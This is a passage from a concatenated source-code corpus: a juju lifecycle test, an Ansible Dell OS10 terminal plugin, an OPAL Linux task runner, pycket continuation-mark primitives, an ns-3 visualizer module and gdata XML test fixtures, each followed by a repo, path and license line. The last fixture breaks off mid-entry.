"#!/bin/bash\n echo hello")
self.write_hook("%s-relation-broken" % self.relation_name,
self.hook_template % dict(change_type="broken",
file_path=file_path))
yield self.lifecycle.start()
wordpress_states = yield self.add_opposite_service_unit(self.states)
yield self.wait_on_hook(
sequence=["app-relation-joined", "app-relation-changed"])
yield self.lifecycle.stop()
yield self.relation_manager.remove_relation_state(
wordpress_states["relation"])
hook_complete = self.wait_on_hook("app-relation-broken")
yield self.lifecycle.depart()
yield hook_complete
self.assertTrue(os.path.exists(file_path))
@inlineCallbacks
def test_lock_start_stop(self):
"""
The relation lifecycle, internally uses a lock when its interacting
with zk, and acquires the lock to protct its internal data structures.
"""
original_method = ClientServerUnitWatcher.start
watcher = self.mocker.patch(ClientServerUnitWatcher)
finish_callback = Deferred()
@inlineCallbacks
def long_op(*args):
yield finish_callback
yield original_method(*args)
watcher.start()
self.mocker.call(long_op, with_object=True)
self.mocker.replay()
start_complete = self.lifecycle.start()
stop_complete = self.lifecycle.stop()
# Sadly this sleeping is the easiest way to verify that
# the stop hasn't procesed prior to the start.
yield self.sleep(0.1)
self.assertFalse(start_complete.called)
self.assertFalse(stop_complete.called)
finish_callback.callback(True)
yield start_complete
self.assertTrue(stop_complete.called)
| agpl-3.0 |
mensler/ansible | lib/ansible/plugins/terminal/dellos10.py | 14 | 2616 | #
# (c) 2016 Red Hat Inc.
#
# This file is part of Ansible
#
# Copyright (c) 2017 Dell Inc.
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible. If not, see <http://www.gnu.org/licenses/>.
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
import re
import json
from ansible.plugins.terminal import TerminalBase
from ansible.errors import AnsibleConnectionFailure
class TerminalModule(TerminalBase):
terminal_stdout_re = [
re.compile(r"[\r\n]?[\w+\-\.:\/\[\]]+(?:\([^\)]+\)){,3}(?:#) ?$"),
re.compile(r"\[\w+\@[\w\-\.]+(?: [^\]])\] ?[>#\$] ?$")
]
terminal_stderr_re = [
re.compile(r"% ?Error"),
re.compile(r"% ?Bad secret"),
re.compile(r"Syntax error:"),
re.compile(r"invalid input", re.I),
re.compile(r"(?:incomplete|ambiguous) command", re.I),
re.compile(r"connection timed out", re.I),
re.compile(r"[^\r\n]+ not found", re.I),
re.compile(r"'[^']' +returned error code: ?\d+"),
]
def on_open_shell(self):
try:
self._exec_cli_command('terminal length 0')
except AnsibleConnectionFailure:
raise AnsibleConnectionFailure('unable to set terminal parameters')
def on_authorize(self, passwd=None):
if self._get_prompt().endswith('#'):
return
cmd = {'command': 'enable'}
if passwd:
cmd['prompt'] = r"[\r\n]?password: $"
cmd['answer'] = passwd
try:
self._exec_cli_command(json.dumps(cmd))
except AnsibleConnectionFailure:
raise AnsibleConnectionFailure('unable to elevate privilege to enable mode')
def on_deauthorize(self):
prompt = self._get_prompt()
if prompt is None:
# if prompt is None most likely the terminal is hung up at a prompt
return
if prompt.strip().endswith(')#'):
self._exec_cli_command('end')
self._exec_cli_command('disable')
elif prompt.endswith('#'):
self._exec_cli_command('disable')
| gpl-3.0 |
dpo/opal | opal/Platforms/linux.py | 2 | 1949 | import socket
import os
from ..core.platform import Platform
from ..core.platform import Task
class LINUXTask(Task):
def __init__(self,
name=None,
command=None,
sessionTag=None,
output='/dev/null',
logHandlers=[]):
Task.__init__(self,
name=name,
command=command,
sessionTag=sessionTag,
output=output,
logHandlers=logHandlers)
return
def run(self):
# Execute the command
os.system(self.command + ' > ' + self.output)
# Inform the fininish
Task.run(self)
return
class LINUXPlatform(Platform):
def __init__(self, logHandlers=[]):
Platform.__init__(self, name='LINUX',
logHandlers=logHandlers)
self.message_handlers['cfp-execute'] = self.create_task
return
def create_task(self, info):
'''
Handle a call for proposal of executing a command
'''
if 'proposition' not in info.keys():
self.logger.log('Proposal of executing a command has not ' + \
'information to prcess')
return
proposition = info['proposition']
command = proposition['command']
name = proposition['tag']
if 'queue' in proposition.keys():
queueTag = proposition['queue']
else:
queueTag = None
queueTag = proposition['queue']
task = LINUXTask(name=name,
command=command,
sessionTag=proposition['tag'])
self.submit(task, queue=queueTag)
return
def cancel_tasks(self, info):
'''
Handle message terminate experiment
'''
return
def test_a(self):
print 'Hello'
LINUX = LINUXPlatform()
| lgpl-3.0 |
krono/pycket | pycket/prims/continuation_marks.py | 1 | 2868 | #! /usr/bin/env python
# -*- coding: utf-8 -*-
from pycket import impersonators as imp
from pycket import values
from pycket.cont import call_cont
from pycket.error import SchemeException
from pycket.prims.expose import default, expose, make_callable_label, procedure
# Can use this to promote a get_cmk operation to a callable function.
CMKSetToListHandler = make_callable_label([values.W_Object])
#@expose("continuation-marks",
#[values.W_Continuation, default(values.W_ContinuationPromptTag, None)])
#def continuation_marks(cont, prompt_tag):
#return values.W_ContinuationPromptTag(cont.cont)
@expose("current-continuation-marks", [default(values.W_ContinuationPromptTag, None)], simple=False)
def current_cont_marks(prompt_tag, env, cont):
from pycket.interpreter import return_value
return return_value(values.W_ContinuationMarkSet(cont), env, cont)
@expose("continuation-mark-set->list",
[values.W_ContinuationMarkSet, values.W_Object,
default(values.W_ContinuationPromptTag, None)], simple=False)
def cms_list(cms, mark, prompt_tag, env, cont):
from pycket.interpreter import return_value
from pycket.prims.general import map_loop
if isinstance(mark, values.W_ContinuationMarkKey):
func = CMKSetToListHandler(mark.get_cmk)
marks = cms.cont.get_marks(imp.get_base_object(mark))
return map_loop(func, [marks], env, cont)
marks = cms.cont.get_marks(mark)
return return_value(marks, env, cont)
@expose("continuation-mark-set-first", [values.W_Object, values.W_Object, default(values.W_Object, values.w_false)], simple=False)
def cms_first(cms, mark, missing, env, cont):
from pycket.interpreter import return_value
if cms is values.w_false:
the_cont = cont
elif isinstance(cms, values.W_ContinuationMarkSet):
the_cont = cms.cont
else:
raise SchemeException("Expected #f or a continuation-mark-set")
is_cmk = isinstance(mark, values.W_ContinuationMarkKey)
m = imp.get_base_object(mark) if is_cmk else mark
v = the_cont.get_mark_first(m)
val = v if v is not None else missing
if is_cmk:
return mark.get_cmk(val, env, cont)
return return_value(val, env, cont)
@expose("make-continuation-mark-key", [default(values.W_Symbol, None)])
def mk_cmk(s):
from pycket.interpreter import Gensym
s = Gensym.gensym("cm") if s is None else s
return values.W_ContinuationMarkKey(s)
@expose("call-with-immediate-continuation-mark",
[values.W_Object, procedure, default(values.W_Object, values.w_false)],
simple=False)
def cwicm(key, proc, default, env, cont):
lup = cont.find_cm(key)
val = default if lup is None else lup
if isinstance(key, values.W_ContinuationMarkKey):
return key.get_cmk(val, env, call_cont(proc, env, cont))
return proc.call([val], env, cont)
| mit |
lionel-metongnon/scanning-under-ns3 | src/visualizer/visualizer/hud.py | 189 | 5462 | import goocanvas
import core
import math
import pango
import gtk
class Axes(object):
def __init__(self, viz):
self.viz = viz
self.color = 0x8080C0FF
self.hlines = goocanvas.Path(parent=viz.canvas.get_root_item(), stroke_color_rgba=self.color)
self.hlines.lower(None)
self.vlines = goocanvas.Path(parent=viz.canvas.get_root_item(), stroke_color_rgba=self.color)
self.vlines.lower(None)
self.labels = []
hadj = self.viz.get_hadjustment()
vadj = self.viz.get_vadjustment()
def update(adj):
if self.visible:
self.update_view()
hadj.connect("value-changed", update)
vadj.connect("value-changed", update)
hadj.connect("changed", update)
vadj.connect("changed", update)
self.visible = True
self.update_view()
def set_visible(self, visible):
self.visible = visible
if self.visible:
self.hlines.props.visibility = goocanvas.ITEM_VISIBLE
self.vlines.props.visibility = goocanvas.ITEM_VISIBLE
else:
self.hlines.props.visibility = goocanvas.ITEM_HIDDEN
self.vlines.props.visibility = goocanvas.ITEM_HIDDEN
for label in self.labels:
label.props.visibility = goocanvas.ITEM_HIDDEN
def _compute_divisions(self, xi, xf):
assert xf > xi
dx = xf - xi
size = dx
ndiv = 5
text_width = dx/ndiv/2
def rint(x):
return math.floor(x+0.5)
dx_over_ndiv = dx / ndiv
for n in range(5): # iterate 5 times to find optimum division size
#/* div: length of each division */
tbe = math.log10(dx_over_ndiv)#; /* looking for approx. 'ndiv' divisions in a length 'dx' */
div = pow(10, rint(tbe))#; /* div: power of 10 closest to dx/ndiv */
if math.fabs(div/2 - dx_over_ndiv) < math.fabs(div - dx_over_ndiv): #/* test if div/2 is closer to dx/ndiv */
div /= 2
elif math.fabs(div*2 - dx_over_ndiv) < math.fabs(div - dx_over_ndiv):
div *= 2 # /* test if div*2 is closer to dx/ndiv */
x0 = div*math.ceil(xi / div) - div
if n > 1:
ndiv = rint(size / text_width)
return x0, div
def update_view(self):
if self.viz.zoom is None:
return
unused_labels = self.labels
self.labels = []
for label in unused_labels:
label.set_property("visibility", goocanvas.ITEM_HIDDEN)
def get_label():
try:
label = unused_labels.pop(0)
except IndexError:
label = goocanvas.Text(parent=self.viz.canvas.get_root_item(), stroke_color_rgba=self.color)
else:
label.set_property("visibility", goocanvas.ITEM_VISIBLE)
label.lower(None)
self.labels.append(label)
return label
hadj = self.viz.get_hadjustment()
vadj = self.viz.get_vadjustment()
zoom = self.viz.zoom.value
offset = 10/zoom
x1, y1 = self.viz.canvas.convert_from_pixels(hadj.value, vadj.value)
x2, y2 = self.viz.canvas.convert_from_pixels(hadj.value + hadj.page_size, vadj.value + vadj.page_size)
line_width = 5.0/self.viz.zoom.value
# draw the horizontal axis
self.hlines.set_property("line-width", line_width)
yc = y2 - line_width/2
sim_x1 = x1/core.PIXELS_PER_METER
sim_x2 = x2/core.PIXELS_PER_METER
x0, xdiv = self._compute_divisions(sim_x1, sim_x2)
path = ["M %r %r L %r %r" % (x1, yc, x2, yc)]
x = x0
while x < sim_x2:
path.append("M %r %r L %r %r" % (core.PIXELS_PER_METER*x, yc - offset, core.PIXELS_PER_METER*x, yc))
label = get_label()
label.set_properties(font=("Sans Serif %f" % int(12/zoom)),
text=("%G" % x),
fill_color_rgba=self.color,
alignment=pango.ALIGN_CENTER,
anchor=gtk.ANCHOR_S,
x=core.PIXELS_PER_METER*x,
y=(yc - offset))
x += xdiv
del x
self.hlines.set_property("data", " ".join(path))
# draw the vertical axis
self.vlines.set_property("line-width", line_width)
xc = x1 + line_width/2
sim_y1 = y1/core.PIXELS_PER_METER
sim_y2 = y2/core.PIXELS_PER_METER
y0, ydiv = self._compute_divisions(sim_y1, sim_y2)
path = ["M %r %r L %r %r" % (xc, y1, xc, y2)]
y = y0
while y < sim_y2:
path.append("M %r %r L %r %r" % (xc, core.PIXELS_PER_METER*y, xc + offset, core.PIXELS_PER_METER*y))
label = get_label()
label.set_properties(font=("Sans Serif %f" % int(12/zoom)),
text=("%G" % y),
fill_color_rgba=self.color,
alignment=pango.ALIGN_LEFT,
anchor=gtk.ANCHOR_W,
x=xc + offset,
y=core.PIXELS_PER_METER*y)
y += ydiv
self.vlines.set_property("data", " ".join(path))
self.labels.extend(unused_labels)
| gpl-2.0 |
denisff/python-for-android | python-build/python-libs/gdata/src/gdata/test_data.py | 134 | 256666 | #!/usr/bin/python
#
# Copyright (C) 2006 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
XML_ENTRY_1 = """<?xml version='1.0'?>
<entry xmlns='http://www.w3.org/2005/Atom'
xmlns:g='http://base.google.com/ns/1.0'>
<category scheme="http://base.google.com/categories/itemtypes"
term="products"/>
<id> http://www.google.com/test/id/url </id>
<title type='text'>Testing 2000 series laptop</title>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>A Testing Laptop</div>
</content>
<link rel='alternate' type='text/html'
href='http://www.provider-host.com/123456789'/>
<link rel='license'
href='http://creativecommons.org/licenses/by-nc/2.5/rdf'/>
<g:label>Computer</g:label>
<g:label>Laptop</g:label>
<g:label>testing laptop</g:label>
<g:item_type>products</g:item_type>
</entry>"""
TEST_BASE_ENTRY = """<?xml version='1.0'?>
<entry xmlns='http://www.w3.org/2005/Atom'
xmlns:g='http://base.google.com/ns/1.0'>
<category scheme="http://base.google.com/categories/itemtypes"
term="products"/>
<title type='text'>Testing 2000 series laptop</title>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>A Testing Laptop</div>
</content>
<app:control xmlns:app='http://purl.org/atom/app#'>
<app:draft>yes</app:draft>
<gm:disapproved xmlns:gm='http://base.google.com/ns-metadata/1.0'/>
</app:control>
<link rel='alternate' type='text/html'
href='http://www.provider-host.com/123456789'/>
<g:label>Computer</g:label>
<g:label>Laptop</g:label>
<g:label>testing laptop</g:label>
<g:item_type>products</g:item_type>
</entry>"""
BIG_FEED = """<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title type="text">dive into mark</title>
<subtitle type="html">
A <em>lot</em> of effort
went into making this effortless
</subtitle>
<updated>2005-07-31T12:29:29Z</updated>
<id>tag:example.org,2003:3</id>
<link rel="alternate" type="text/html"
hreflang="en" href="http://example.org/"/>
<link rel="self" type="application/atom+xml"
href="http://example.org/feed.atom"/>
<rights>Copyright (c) 2003, Mark Pilgrim</rights>
<generator uri="http://www.example.com/" version="1.0">
Example Toolkit
</generator>
<entry>
<title>Atom draft-07 snapshot</title>
<link rel="alternate" type="text/html"
href="http://example.org/2005/04/02/atom"/>
<link rel="enclosure" type="audio/mpeg" length="1337"
href="http://example.org/audio/ph34r_my_podcast.mp3"/>
<id>tag:example.org,2003:3.2397</id>
<updated>2005-07-31T12:29:29Z</updated>
<published>2003-12-13T08:29:29-04:00</published>
<author>
<name>Mark Pilgrim</name>
<uri>http://example.org/</uri>
<email>f8dy@example.com</email>
</author>
<contributor>
<name>Sam Ruby</name>
</contributor>
<contributor>
<name>Joe Gregorio</name>
</contributor>
<content type="xhtml" xml:lang="en"
xml:base="http://diveintomark.org/">
<div xmlns="http://www.w3.org/1999/xhtml">
<p><i>[Update: The Atom draft is finished.]</i></p>
</div>
</content>
</entry>
</feed>
"""
SMALL_FEED = """<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Example Feed</title>
<link href="http://example.org/"/>
<updated>2003-12-13T18:30:02Z</updated>
<author>
<name>John Doe</name>
</author>
<id>urn:uuid:60a76c80-d399-11d9-b93C-0003939e0af6</id>
<entry>
<title>Atom-Powered Robots Run Amok</title>
<link href="http://example.org/2003/12/13/atom03"/>
<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>
<updated>2003-12-13T18:30:02Z</updated>
<summary>Some text.</summary>
</entry>
</feed>
"""
GBASE_FEED = """<?xml version='1.0' encoding='UTF-8'?>
<feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:g='http://base.google.com/ns/1.0' xmlns:batch='http://schemas.google.com/gdata/batch'>
<id>http://www.google.com/base/feeds/snippets</id>
<updated>2007-02-08T23:18:21.935Z</updated>
<title type='text'>Items matching query: digital camera</title>
<link rel='alternate' type='text/html' href='http://base.google.com'>
</link>
<link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://www.google.com/base/feeds/snippets'>
</link>
<link rel='self' type='application/atom+xml' href='http://www.google.com/base/feeds/snippets?start-index=1&max-results=25&bq=digital+camera'>
</link>
<link rel='next' type='application/atom+xml' href='http://www.google.com/base/feeds/snippets?start-index=26&max-results=25&bq=digital+camera'>
</link>
<generator version='1.0' uri='http://base.google.com'>GoogleBase </generator>
<openSearch:totalResults>2171885</openSearch:totalResults>
<openSearch:startIndex>1</openSearch:startIndex>
<openSearch:itemsPerPage>25</openSearch:itemsPerPage>
<entry>
<id>http://www.google.com/base/feeds/snippets/13246453826751927533</id>
<published>2007-02-08T13:23:27.000Z</published>
<updated>2007-02-08T16:40:57.000Z</updated>
<category scheme='http://base.google.com/categories/itemtypes' term='Products'>
</category>
<title type='text'>Digital Camera Battery Notebook Computer 12v DC Power Cable - 5.5mm x 2.5mm (Center +) Camera Connecting Cables</title>
<content type='html'>Notebook Computer 12v DC Power Cable - 5.5mm x 2.1mm (Center +) This connection cable will allow any Digital Pursuits battery pack to power portable computers that operate with 12v power and have a 2.1mm power connector (center +) Digital ...</content>
<link rel='alternate' type='text/html' href='http://www.bhphotovideo.com/bnh/controller/home?O=productlist&A=details&Q=&sku=305668&is=REG&kw=DIDCB5092&BI=583'>
</link>
<link rel='self' type='application/atom+xml' href='http://www.google.com/base/feeds/snippets/13246453826751927533'>
</link>
<author>
<name>B&H Photo-Video</name>
<email>anon-szot0wdsq0at@base.google.com</email>
</author>
<g:payment_notes type='text'>PayPal & Bill Me Later credit available online only.</g:payment_notes>
<g:condition type='text'>new</g:condition>
<g:location type='location'>420 9th Ave. 10001</g:location>
<g:id type='text'>305668-REG</g:id>
<g:item_type type='text'>Products</g:item_type>
<g:brand type='text'>Digital Camera Battery</g:brand>
<g:expiration_date type='dateTime'>2007-03-10T13:23:27.000Z</g:expiration_date>
<g:customer_id type='int'>1172711</g:customer_id>
<g:price type='floatUnit'>34.95 usd</g:price>
<g:product_type type='text'>Digital Photography>Camera Connecting Cables</g:product_type>
<g:item_language type='text'>EN</g:item_language>
<g:manufacturer_id type='text'>DCB5092</g:manufacturer_id>
<g:target_country type='text'>US</g:target_country>
<g:weight type='float'>1.0</g:weight>
<g:image_link type='url'>http://base.google.com/base_image?q=http%3A%2F%2Fwww.bhphotovideo.com%2Fimages%2Fitems%2F305668.jpg&dhm=ffffffff84c9a95e&size=6</g:image_link>
</entry>
<entry>
<id>http://www.google.com/base/feeds/snippets/10145771037331858608</id>
<published>2007-02-08T13:23:27.000Z</published>
<updated>2007-02-08T16:40:57.000Z</updated>
<category scheme='http://base.google.com/categories/itemtypes' term='Products'>
</category>
<title type='text'>Digital Camera Battery Electronic Device 5v DC Power Cable - 5.5mm x 2.5mm (Center +) Camera Connecting Cables</title>
<content type='html'>Electronic Device 5v DC Power Cable - 5.5mm x 2.5mm (Center +) This connection cable will allow any Digital Pursuits battery pack to power any electronic device that operates with 5v power and has a 2.5mm power connector (center +) Digital ...</content>
<link rel='alternate' type='text/html' href='http://www.bhphotovideo.com/bnh/controller/home?O=productlist&A=details&Q=&sku=305656&is=REG&kw=DIDCB5108&BI=583'>
</link>
<link rel='self' type='application/atom+xml' href='http://www.google.com/base/feeds/snippets/10145771037331858608'>
</link>
<author>
<name>B&H Photo-Video</name>
<email>anon-szot0wdsq0at@base.google.com</email>
</author>
<g:location type='location'>420 9th Ave. 10001</g:location>
<g:condition type='text'>new</g:condition>
<g:weight type='float'>0.18</g:weight>
<g:target_country type='text'>US</g:target_country>
<g:product_type type='text'>Digital Photography>Camera Connecting Cables</g:product_type>
<g:payment_notes type='text'>PayPal & Bill Me Later credit available online only.</g:payment_notes>
<g:id type='text'>305656-REG</g:id>
<g:image_link type='url'>http://base.google.com/base_image?q=http%3A%2F%2Fwww.bhphotovideo.com%2Fimages%2Fitems%2F305656.jpg&dhm=7315bdc8&size=6</g:image_link>
<g:manufacturer_id type='text'>DCB5108</g:manufacturer_id>
<g:upc type='text'>838098005108</g:upc>
<g:price type='floatUnit'>34.95 usd</g:price>
<g:item_language type='text'>EN</g:item_language>
<g:brand type='text'>Digital Camera Battery</g:brand>
<g:customer_id type='int'>1172711</g:customer_id>
<g:item_type type='text'>Products</g:item_type>
<g:expiration_date type='dateTime'>2007-03-10T13:23:27.000Z</g:expiration_date>
</entry>
<entry>
<id>http://www.google.com/base/feeds/snippets/3128608193804768644</id>
<published>2007-02-08T02:21:27.000Z</published>
<updated>2007-02-08T15:40:13.000Z</updated>
<category scheme='http://base.google.com/categories/itemtypes' term='Products'>
</category>
<title type='text'>Digital Camera Battery Power Cable for Kodak 645 Pro-Back ProBack & DCS-300 Series Camera Connecting Cables</title>
<content type='html'>Camera Connection Cable - to Power Kodak 645 Pro-Back DCS-300 Series Digital Cameras This connection cable will allow any Digital Pursuits battery pack to power the following digital cameras: Kodak DCS Pro Back 645 DCS-300 series Digital Photography ...</content>
<link rel='alternate' type='text/html' href='http://www.bhphotovideo.com/bnh/controller/home?O=productlist&A=details&Q=&sku=305685&is=REG&kw=DIDCB6006&BI=583'>
</link>
<link rel='self' type='application/atom+xml' href='http://www.google.com/base/feeds/snippets/3128608193804768644'>
</link>
<author>
<name>B&H Photo-Video</name>
<email>anon-szot0wdsq0at@base.google.com</email>
</author>
<g:weight type='float'>0.3</g:weight>
<g:manufacturer_id type='text'>DCB6006</g:manufacturer_id>
<g:image_link type='url'>http://base.google.com/base_image?q=http%3A%2F%2Fwww.bhphotovideo.com%2Fimages%2Fitems%2F305685.jpg&dhm=72f0ca0a&size=6</g:image_link>
<g:location type='location'>420 9th Ave. 10001</g:location>
<g:payment_notes type='text'>PayPal & Bill Me Later credit available online only.</g:payment_notes>
<g:item_type type='text'>Products</g:item_type>
<g:target_country type='text'>US</g:target_country>
<g:accessory_for type='text'>digital kodak camera</g:accessory_for>
<g:brand type='text'>Digital Camera Battery</g:brand>
<g:expiration_date type='dateTime'>2007-03-10T02:21:27.000Z</g:expiration_date>
<g:item_language type='text'>EN</g:item_language>
<g:condition type='text'>new</g:condition>
<g:price type='floatUnit'>34.95 usd</g:price>
<g:customer_id type='int'>1172711</g:customer_id>
<g:product_type type='text'>Digital Photography>Camera Connecting Cables</g:product_type>
<g:id type='text'>305685-REG</g:id>
</entry>
</feed>"""
EXTENSION_TREE = """<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<g:author xmlns:g="http://www.google.com">
<g:name>John Doe
<g:foo yes="no" up="down">Bar</g:foo>
</g:name>
</g:author>
</feed>
"""
TEST_AUTHOR = """<?xml version="1.0" encoding="utf-8"?>
<author xmlns="http://www.w3.org/2005/Atom">
<name xmlns="http://www.w3.org/2005/Atom">John Doe</name>
<email xmlns="http://www.w3.org/2005/Atom">johndoes@someemailadress.com</email>
<uri xmlns="http://www.w3.org/2005/Atom">http://www.google.com</uri>
</author>
"""
TEST_LINK = """<?xml version="1.0" encoding="utf-8"?>
<link xmlns="http://www.w3.org/2005/Atom" href="http://www.google.com"
rel="test rel" foo1="bar" foo2="rab"/>
"""
TEST_GBASE_ATTRIBUTE = """<?xml version="1.0" encoding="utf-8"?>
<g:brand type='text' xmlns:g="http://base.google.com/ns/1.0">Digital Camera Battery</g:brand>
"""
CALENDAR_FEED = """<?xml version='1.0' encoding='utf-8'?>
<feed xmlns='http://www.w3.org/2005/Atom'
xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/'
xmlns:gd='http://schemas.google.com/g/2005'
xmlns:gCal='http://schemas.google.com/gCal/2005'>
<id>http://www.google.com/calendar/feeds/default</id>
<updated>2007-03-20T22:48:57.833Z</updated>
<title type='text'>GData Ops Demo's Calendar List</title>
<link rel='http://schemas.google.com/g/2005#feed'
type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default'></link>
<link rel='http://schemas.google.com/g/2005#post'
type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default'></link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<generator version='1.0' uri='http://www.google.com/calendar'>
Google Calendar</generator>
<openSearch:startIndex>1</openSearch:startIndex>
<entry>
<id>
http://www.google.com/calendar/feeds/default/gdata.ops.demo%40gmail.com</id>
<published>2007-03-20T22:48:57.837Z</published>
<updated>2007-03-20T22:48:52.000Z</updated>
<title type='text'>GData Ops Demo</title>
<link rel='alternate' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/gdata.ops.demo%40gmail.com/private/full'>
</link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/gdata.ops.demo%40gmail.com'>
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gCal:color value='#2952A3'></gCal:color>
<gCal:accesslevel value='owner'></gCal:accesslevel>
<gCal:hidden value='false'></gCal:hidden>
<gCal:timezone value='America/Los_Angeles'></gCal:timezone>
</entry>
<entry>
<id>
http://www.google.com/calendar/feeds/default/jnh21ovnjgfph21h32gvms2758%40group.calendar.google.com</id>
<published>2007-03-20T22:48:57.837Z</published>
<updated>2007-03-20T22:48:53.000Z</updated>
<title type='text'>GData Ops Demo Secondary Calendar</title>
<summary type='text'></summary>
<link rel='alternate' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/jnh21ovnjgfph21h32gvms2758%40group.calendar.google.com/private/full'>
</link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/jnh21ovnjgfph21h32gvms2758%40group.calendar.google.com'>
</link>
<author>
<name>GData Ops Demo Secondary Calendar</name>
</author>
<gCal:color value='#528800'></gCal:color>
<gCal:accesslevel value='owner'></gCal:accesslevel>
<gCal:hidden value='false'></gCal:hidden>
<gCal:timezone value='America/Los_Angeles'></gCal:timezone>
<gd:where valueString=''></gd:where>
</entry>
</feed>
"""
CALENDAR_FULL_EVENT_FEED = """<?xml version='1.0' encoding='utf-8'?>
<feed xmlns='http://www.w3.org/2005/Atom'
xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/'
xmlns:gd='http://schemas.google.com/g/2005'
xmlns:gCal='http://schemas.google.com/gCal/2005'>
<id>
http://www.google.com/calendar/feeds/default/private/full</id>
<updated>2007-03-20T21:29:57.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>GData Ops Demo</title>
<subtitle type='text'>GData Ops Demo</subtitle>
<link rel='http://schemas.google.com/g/2005#feed'
type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full'>
</link>
<link rel='http://schemas.google.com/g/2005#post'
type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full'>
</link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full?updated-min=2001-01-01&max-results=25'>
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<generator version='1.0' uri='http://www.google.com/calendar'>
Google Calendar</generator>
<openSearch:totalResults>10</openSearch:totalResults>
<openSearch:startIndex>1</openSearch:startIndex>
<openSearch:itemsPerPage>25</openSearch:itemsPerPage>
<gCal:timezone value='America/Los_Angeles'></gCal:timezone>
<entry>
<id>
http://www.google.com/calendar/feeds/default/private/full/o99flmgmkfkfrr8u745ghr3100</id>
<published>2007-03-20T21:29:52.000Z</published>
<updated>2007-03-20T21:29:57.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>test deleted</title>
<content type='text'></content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=bzk5ZmxtZ21rZmtmcnI4dTc0NWdocjMxMDAgZ2RhdGEub3BzLmRlbW9AbQ'
title='alternate'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/o99flmgmkfkfrr8u745ghr3100'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/o99flmgmkfkfrr8u745ghr3100/63310109397'>
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gCal:sendEventNotifications value='false'>
</gCal:sendEventNotifications>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.canceled'>
</gd:eventStatus>
<gd:comments>
<gd:feedLink href='http://www.google.com/calendar/feeds/default/private/full/o99flmgmkfkfrr8u745ghr3100/comments'>
</gd:feedLink>
</gd:comments>
<gd:visibility value='http://schemas.google.com/g/2005#event.default'>
</gd:visibility>
<gd:transparency value='http://schemas.google.com/g/2005#event.opaque'>
</gd:transparency>
<gd:when startTime='2007-03-23T12:00:00.000-07:00'
endTime='2007-03-23T13:00:00.000-07:00'>
<gd:reminder minutes='10'></gd:reminder>
</gd:when>
<gd:where></gd:where>
</entry>
<entry>
<id>
http://www.google.com/calendar/feeds/default/private/full/2qt3ao5hbaq7m9igr5ak9esjo0</id>
<published>2007-03-20T21:26:04.000Z</published>
<updated>2007-03-20T21:28:46.000Z</updated>
<category scheme='http://schemas.google.com/g/2005#kind'
term='http://schemas.google.com/g/2005#event'></category>
<title type='text'>Afternoon at Dolores Park with Kim</title>
<content type='text'></content>
<link rel='alternate' type='text/html'
href='http://www.google.com/calendar/event?eid=MnF0M2FvNWhiYXE3bTlpZ3I1YWs5ZXNqbzAgZ2RhdGEub3BzLmRlbW9AbQ'
title='alternate'></link>
<link rel='self' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/2qt3ao5hbaq7m9igr5ak9esjo0'>
</link>
<link rel='edit' type='application/atom+xml'
href='http://www.google.com/calendar/feeds/default/private/full/2qt3ao5hbaq7m9igr5ak9esjo0/63310109326'>
</link>
<author>
<name>GData Ops Demo</name>
<email>gdata.ops.demo@gmail.com</email>
</author>
<gCal:sendEventNotifications value='false'>
</gCal:sendEventNotifications>
<gd:eventStatus value='http://schemas.google.com/g/2005#event.confirmed'>
</gd:eventStatus>
<gd:comments>
